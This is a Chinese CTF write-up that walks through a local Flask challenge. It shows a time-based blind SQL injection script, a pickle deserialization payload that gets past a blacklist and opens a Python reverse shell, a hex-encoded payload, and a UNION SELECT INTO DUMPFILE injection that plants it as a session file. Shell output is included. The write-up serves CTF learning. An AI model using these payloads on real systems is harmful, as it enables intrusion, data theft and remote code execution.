前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从零基础到解题之 Python is the best language

从零基础到解题之 Python is the best language

作者头像
安恒网络空间安全讲武堂
发布2018-04-18 16:55:17
8330
发布2018-04-18 16:55:17
举报

-目录-

  • 前言
  • 环境搭建
  • 源码结构
  • 题目分析
  • Python is the best language1
  • Python is the best language2 思考攻击点 pickle序列化学习 题目分析 攻击构造思考 payload
  • 后记

前言

自己对python的web框架了解并不是很多,于是为了学习……打算从零开始一步一步分析一下如何去做flask的题目。

环境搭建

首先

python db_create.py

发现缺少库依赖,然后一路装过来

pip install Flask

pip install flask_login

pip install flask_bootstrap

pip install flask_moment

pip install sqlalchemy

pip install MySQLdb

然后出现了报错,随后发现`MySQLdb`不能直接安装

随即用了另一指令

pip install MySQL-python

然后安装继续报错

mysql_config not found

随后运行指令

sudo apt-get install libmysqlclient-dev

即可解决,然后继续装库

pip install flask_wtf

即可安装完所有需求库

然后再

python db_create.py

又报错,发现是config配置问题,随机

vi config.py

将第7行更改为

SQLALCHEMY_DATABASE_URI = "mysql://root:@127.0.0.1/flask?charset=utf8"

注:用户root,无密码

然后再运行

python db_create.py

发现报错,无flask库,于是创建库

CREATE DATABASE `flask` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

再运行

python db_create.py

python run.py

不能外网访问,随机更改run.py文件

vi run.py

更改为

if __name__ == "__main__":

app.run(host='0.0.0.0',port=10000)

随后

python run.py

即可在ip:10000访问题目

源码结构

因为接触flask框架不算多,所以也抱着一个萌新的态度来分析

根目录下是3个文件

app为放置应用程序的文件夹

run.py为启动文件

config.py是配置文件

然后进入app文件夹

static文件夹放置静态资源

templates文件夹放置模板,用于渲染(说白了就是前端views)

__init__.py 文件里包含导入各种框架和函数,初始化flask应用,初始化数据库

error.py 用于404和500报错

forms.py 用于表单登录,注册等

models.py 放置操作数据库的代码

Mycache.py 出题人自己写的缓存文件

Mysessions.py 出题人自己写的session文件

others.py mysql操作语句等函数

routes.py 路由文件

题目分析

这不多的代码一共出了2个题目

  • Python is the best language1
  • Python is the best language2

我个人认为,第一问可能就是个sql注入,第二问应该是Mycache.py与Mysessions.py出了问题

原因很简单

  1. 不多的代码里有许多sql操作
  2. 除了一些标准的文件,自己写的Mycache.py与Mysessions.py非常可疑

那么我们分析的时候也就很有针对性了,重点关注sql的操作和出题者自己写的文件,也就是

sql部分

routes.py

others.py

缓存部分

Mycache.py

Mysessions.py

Python is the best language1

由于是第一问,肯定难度相对较低,于是我开始寻找sql注入的问题,审计routes.py

当然,如果一行一行看过去,肯定是很难受的,我们先看看大体结构

@app.before_request

def before_request():

@app.teardown_request

def shutdown_session(exception=None):

db_session.remove()

@app.route('/', methods=['GET', 'POST'])

@app.route('/index', methods=['GET', 'POST'])

@login_required

def index():

@app.route('/explore')

@login_required

def explore():

@app.route('/login', methods=['GET', 'POST'])

def login():

@app.route('/logout')

def logout():

@app.route('/register', methods=['GET', 'POST'])

def register():

@app.route('/user/<username>')

@login_required

def user(username):

@app.route('/edit_profile', methods=['GET', 'POST'])

@login_required

def edit_profile():

@app.route('/follow/<username>')

@login_required

def follow(username):

@app.route('/unfollow/<username>')

@login_required

def unfollow(username):

可以看到功能无非就是注册,登录,退出,编辑等

这里我直接看了编辑功能即`/edit_profile`

因为这是登录后为数不多可操作的功能

审计代码,关键定位于sql操作上

if form.validate_on_submit():

current_user.username = form.username.data

current_user.note = form.note.data

res = mysql.Mod("user", {"id": current_user.id}, {

"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

if res != 0:

flash('Your changes have been saved.')

return redirect(url_for('edit_profile'))

定位到关键操作

res = mysql.Mod("user", {"id": current_user.id}, {

"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})

我们跟进Mod函数

def Mod(self, tablemame, where, values):

sql = "update " + tablemame + " "

sql += "set " + \

"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "

sql += "where " + \

"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]

try:

self.db_session.execute(sql)

self.db_session.commit()

return 1

except:

return 0

发现是update,可注入,查看过滤点

def validate_note(self, note):

if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:

raise ValidationError("Don't input invalid charactors!")

发现note处明显有问题,可以的符号非常多

我在本地构造了一下开始测试

python

import re

uid='1'

username = 'sky'

note = "12345' and (select username like 0x25) and sleep(5) and 'a'='a"

def validate_note(note):

if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note) == None:

print "Don't input invalid charactors!"

def Mod(tablemame, where, values):

sql = "update " + tablemame + " "

sql += "set " + \

"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "

sql += "where " + \

"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]

return sql

validate_note(note)

res = Mod("user", {"id": uid}, {

"username": "'%s'" % username, "note": "'%s'" % note})

print res

发现轻松bypass,随即构造脚本进行注入

首先抓了个包观察了一下

csrf_token=IjY1MTRhZmJkYzYzZGNkMWQ2NzBhNGIwOWRhZmMwMzJhNGJjZTNiODIi.DaJ5pw.Pp6QpdeA_1n9txXtoyqAB0jSgSk&username=sky&note=011&submit=Submit

发现是有csrf_token的,还需要处理获取一下,脚本如下:

# -*- coding: utf-8 -*-

import re

import requests

import string

cookies = {

"cookieconsent_status":"dismiss","continueCode":"1ZmEW8xEBave7rXY9NJ52R43LzGQ2HBuM0MpZy1QDnmwolK6PqObVgkjPr8v","remember_token":"1|bd7ae859aa61d2458faf36eecdd36b40c949bb0e0c5c6b2d42fd5462d043d01f935625d5df66deaa15eb56ce76afadd4a1f5ef9f5f2826dcc7d2e9d66f341c75","session":"f8a0d3db-ab28-496b-943d-eda1ca2642cd"

}

url = "http://192.168.130.157:10000/edit_profile"

r = requests.get(url=url,cookies=cookies)

csrf_token_re = r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">'

csrf_token = re.findall(csrf_token_re, r.content)[0]

flag = ""

true_flag = ""

for i in range(1,1000):

payload = flag

for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":

data = {

"csrf_token": csrf_token,

"username": "sky",

"note": "12345' and (select flllllag like binary 0x%s25 from flaaaaag) and sleep(3) and 'a'='a"%(payload+hex(ord(j))[2:]),

"submit": "Submit"

}

try:

r =requests.post(url=url,data=data,cookies=cookies,timeout=2.5)

except:

flag += hex(ord(j))[2:]

true_flag += j

print true_flag

break

运行即可拿到flag:`QWB{us1ng_val1dator_caut1ous}`

Python is the best language2

  • 思考攻击点

作为一个萌新,我对flask的理解并不是很深入,拿下了第一题后,我非常迷茫,因为找不到切入点

但是在others.py里发现了一下奇特的东西

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

spawnv, spawnve, spawnvp, spawnvpe, load, loads]

class FilterException(Exception):

def __init__(self, value):

super(FilterException, self).__init__(

'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):

def wrapper(*args, **kwargs):

print args[0].stack

if args[0].stack[-2] in black_type_list:

raise FilterException(args[0].stack[-2])

return func(*args, **kwargs)

return wrapper

def load(file):

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return Unpkler(file).load()

def loads(str):

file = StringIO(str)

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return unpkler.load()

这可以明显的看出可能后面有一道命令执行,并且`Unpkler`引起了我的兴趣:`from pickle import Unpickler as Unpkler`,因为这是反序列化,虽然我对flask理解并不是很多,但类似php我知道,反序列化经常是漏洞点,并且可以进行RCE,随即这成了我的突破口。

  • pickle序列化学习

首先看一下pickle的作用

pickle是为了序列化/反序列化一个对象的,可以把一个对象持久化存储。

比如你有一个对象,想下次运行程序的时候直接用,可以直接用pickle打包存到硬盘上。或者你想把一个对象传给网络上的其他程序,可以用pickle打包,然后传过去,那边的python程序用pickle反序列化,就可以用了。

用法上,它主要有两个函数:load和dump,load是从序列化之后的数据中解出来,dump是把对象序列化。

我们实战尝试一下

import pickle

a1 = 'apple'

b1 = {1: 'One', 2: 'Two', 3: 'Three'}

c1 = ['fee', 'fie', 'foe', 'fum']

f1 = open('test',"wb")

pickle.dump(a1,f1,True)

pickle.dump(b1,f1,True)

pickle.dump(c1,f1,True)

f1.close()

f2 = open('test',"rb")

a2 = pickle.load(f2)

print a2

b2 = pickle.load(f2)

print b2

c2 = pickle.load(f2)

print c2

得到结果

apple

{1: 'One', 2: 'Two', 3: 'Three'}

['fee', 'fie', 'foe', 'fum']

稍微分析一下就可以知道

pickle.dump(object, file)

是序列化

object = pickle.load( file)

是反序列化

再深入一些

pickle.dump(object, file)

可以拆分为

python

P = pickle.Pickler(file)

P.dump(object)

即生成一个新的pickler,用来pickle到一个打开的输出文件对象file,然后写一个对象到pickler的文件/流。

object = pickle.load(file)

也可以拆分为

U = pickle.Unpickler(file)

object = U.load( )

即生成一个unpickler,用来从一个打开的文件对象file unpickle,然后从unpickler的文件/流读取一个对象。

这样看来就容易理解许多,其实就是为了方便我们操作,pickle将序列化简化成只需要dump一些,而反序列化简化成只需要load一下。

我们再做一点测试

python

import pickle

a1 = 'apple'

a2 = pickle.dumps(a1)

print a2

a3 = pickle.loads(a2)

print a3

输出

S'apple'

p0

.

apple

这里使用了

string = pickle.dumps(object)

返回一个字符串作为已pickle对象的表达

object = pickle.loads(string)

从字符串读取一个对象,而不是从文件

简单来说,还是之前的dumps是序列化,loads是反序列化,但这里直接可以操作字符串,而不是文件

  • 题目分析

有了之前的基础,一些题目中的函数就容易看懂许多了

python

def load(file):

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return Unpkler(file).load()

def loads(str):

file = StringIO(str)

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return unpkler.load()

这两个简单看来就是带有过滤的反序列化,一个用于操作文件,一个用于操作字符串

那么我们现在去看看问题在哪里:

首先我们确定,问题出现于Mycache.py和Mysession.py

经过全局搜索,我发现本题主要调用的是load,也就是对文件的操作,所以我将注意力定位到有关文件的类上

而这两个文件里分别有两个有关于文件的两个大类

FileSystemCache

FileSystemSessionInterface

那么他们的关联在哪里呢?

这里从`FileSystemSessionInterface`入手,容易发现以下代码

python

class FileSystemSessionInterface(SessionInterface):

session_class = FileSystemSession

def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",

use_signer=False, permanent=True):

self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)

self.key_prefix = key_prefix

self.use_signer = use_signer

self.permanent = permanent

def open_session(self, app, request):

sid = request.cookies.get(app.session_cookie_name)

if not sid:

sid = self._generate_sid()

return self.session_class(sid=sid, permanent=self.permanent)

if self.use_signer:

signer = self._get_signer(app)

if signer is None:

return None

try:

sid_as_bytes = signer.unsign(sid)

sid = sid_as_bytes.decode()

except BadSignature:

sid = self._generate_sid()

return self.session_class(sid=sid, permanent=self.permanent)

data = self.cache.get(self.key_prefix + sid)

if data is not None:

return self.session_class(data, sid=sid)

return self.session_class(sid=sid, permanent=self.permanent)

其中关键行

python

self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)

key_prefix="bdwsessions"

sid = request.cookies.get(app.session_cookie_name)

data = self.cache.get(self.key_prefix + sid)

很显然,这里`FileSystemSessionInterface.cache`调用了`FileSystemCache`

然后使用了`FileSystemCache`类里的get方法得到最后的数据

而传入的参数为

key_prefix="bdwsessions"

sid = request.cookies.get(app.session_cookie_name)

即`bdwsessions+cookies`

那么我们跟进一下这个get方法:

在Mycache.py里容易发现第137行有

python

def get(self, key):

filename = self._get_filename(key)

try:

with open(filename, 'rb') as f:

pickle_time = load(f)

if pickle_time == 0 or pickle_time >= time():

a = load(f)

return a

else:

os.remove(filename)

return None

except (IOError, OSError, PickleError):

return None

其中对文件filename进行反序列化操作

那么filename这个变量名是什么呢?我们跟进一下

python

def _get_filename(self, key):

if isinstance(key, text_type):

key = key.encode('utf-8') # XXX unicode review

hash = md5(key).hexdigest()

return os.path.join(self._path, hash)

这里很明显,是将输入的key进行utf-8编码,再进行md5

而有了之前的分析,我们知道这个key即`bdwsessions+cookies`

我们抓包看一下自己的cookies格式

容易发现

f8a0d3db-ab28-496b-943d-eda1ca2642cd

所以我可以确定我们传入的key为

bdwsessionsf8a0d3db-ab28-496b-943d-eda1ca2642cd

那么我们md5一下得到

0c73b741796249d489754c8ec49621be

又根据config.py中给出的路径

SESSION_TYPE = "filesystem"

SESSION_FILE_THRESHOLD = 10000

SESSION_FILE_DIR = "/tmp/ffff"

SESSION_FILE_MODE = 0660

SESSION_PERMANENT = True

可以得到最终我们文件的路径为

/tmp/ffff/0c73b741796249d489754c8ec49621be

由于我是在本地搭建测试,所以我去查看一下,以证实自己的想法

root@ubuntu:/# cd /tmp/ffff

root@ubuntu:/tmp/ffff# ls

0c73b741796249d489754c8ec49621be a35a428bd3c0877883abdcf9a278014d

5bac4cc446cd857cdca44322243df871 b564de092ab86312866e8726d2436716

果不其然,第一个文件就是我们猜想的session文件

  • 攻击构造思考

既然我们可以预知文件名和绝对路径,那我们可否触发load来任意反序列化我们构造的恶意代码呢?

这里我们容易知道mysql可以写入文件,但是需要很高的权限,但是这里结合config中的root用户,可以容易猜想到这里应该有足够的权限。

那么我们的思路很清晰了:

  1. 自己随意定义一个session
  2. 根据之前的规则计算出文件名
  3. 利用mysql的注入,将文件导入/tmp/ffff目录下
  4. 访问index的时候修改自己的session为之前我们定义的值
  5. 即可触发反序列化,造成攻击

首先来编写一个可以命令执行的文件,这里之前我们也提到,反序列化的时候是有黑名单的,即过滤

观察过滤

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

spawnv, spawnve, spawnvp, spawnvpe, load, loads]

这里容易发现

subprocess.Popen

subprocess.call

commands

均可使用

我们测试

首先写一个test1.py

from pickle import Unpickler as Unpkler

from pickle import Pickler as Pkler

import commands

class Exploit(object):

def __reduce__(self):

return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

evil = Exploit()

def dump(file):

pkler = Pkler(file)

pkler.dump(evil)

with open("test","wb") as f:

dump(f)

再写一个test2.py

from os import *

from sys import *

from pickle import *

from io import open as Open

from pickle import Unpickler as Unpkler

from pickle import Pickler as Pkler

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

spawnv, spawnve, spawnvp, spawnvpe, load, loads]

class FilterException(Exception):

def __init__(self, value):

super(FilterException, self).__init__(

'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):

def wrapper(*args, **kwargs):

print args[0].stack

if args[0].stack[-2] in black_type_list:

raise FilterException(args[0].stack[-2])

return func(*args, **kwargs)

return wrapper

def LOAD(file):

unpkler = Unpkler(file)

unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

return Unpkler(file).load()

with Open("test","rb") as f:

LOAD(f)

然后我们首先运行test1.py去生成序列化文件

接着我们本地监听23333端口

然后再运行test2.py去模拟题目触发反序列化

发现成功反弹shell

root@ubuntu:/var/www/html/test# python test2.py

[<function getoutput at 0x7f49ea7321b8>, ('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',)]

以及收到的shell

sky@ubuntu:~$ nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35168)

# ls

test

test1.py

test2.py

# cd ..

# ls

index.html

QWBflask

test

#

发现测试成功

现在我们需要做的就是将我们恶意构造的序列化文件转换成16进制,再利用union填充导入到session文件即可

但是这里我又发现了一个新的问题,就是之前我找到的edit_profile攻击点没有逗号,这里我懒得使用join去Bypass逗号,因为我担心这样在导入文件的时候会出现蛇皮的错误,所以我又看了一下代码

不一会儿我又在`/register`处发现更简单的过滤问题

username = StringField('Username', validators=[DataRequired()])

email = StringField('Email', validators=[DataRequired(), Email()])

password = PasswordField('Password', validators=[DataRequired()])

password2 = PasswordField(

'Repeat Password', validators=[DataRequired(), EqualTo('password')])

submit = SubmitField('Register')

def validate_username(self, username):

if re.match("^[a-zA-Z0-9_]+$", username.data) == None:

raise ValidationError('username has invalid charactor!')

user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])

if user != 0:

raise ValidationError('Please use a different username.')

def validate_email(self, email):

user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])

if user != 0:

raise ValidationError('Please use a different email address.')

可以发现email仅仅只使用了

email = StringField('Email', validators=[DataRequired(), Email()])

进行过滤

我们跟进一下email()函数

python

def __init__(self, message=None):

self.validate_hostname = HostnameValidation(

require_tld=True,

)

super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)

def __call__(self, form, field):

message = self.message

if message is None:

message = field.gettext('Invalid email address.')

match = super(Email, self).__call__(form, field, message)

if not self.validate_hostname(match.group(1)):

raise ValidationError(message)

此处的正则仅仅是用来email格式的,根本不能影响我们进行注入

所以我们只需要

select id from user where email = 'sky'/**/or/**/1=1#@sky.com'

即可造成注入

那么相对来说,union select也容易了很多,只需要

sky'/**/union/**/select/**/0x.../**/into/**/dumpfile/**/'/tmp/ffff/md5(key)'#@sky.com

那我们先来生成一下16进制的恶意文件

python

import binascii

import cPickle

import commands

class Exploit(object):

def __reduce__(self):

return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():

shellcode = cPickle.dumps(Exploit())

return shellcode

print binascii.b2a_hex(serialize_exploit())

得到

0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e

  • payload

先给自己设定一个session

f8a0d3db-ab28-496b-943d-eda1caskysky

然后md5(bdwsessionsf8a0d3db-ab28-496b-943d-eda1caskysky)

预测文件名

/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07

在注册点的email处填入

sky'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07'#@sky.com

接着我们监听端口23333

sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

然后我们去访问index,顺便修改session触发反序列化

然后即可成功收到shell

sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35210)

$ ls

app

config.py

config.pyc

MySQL-python-1.2.3b1

MySQL-python-1.2.3b1.tar.gz

run.py

$ cd ..

$ ls

index.html

QWBflask

test

$

此题也最终完结

后记

写这样一篇文章,目的就是在于帮助自己和大家去探索一个未知的领域,从零开始做题。

感叹现在的知名赛事真的是对web越来越不友好了,涉及点全面,还动不动带着点bin。

最后不得不膜一发bendawang,绝对是好题~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档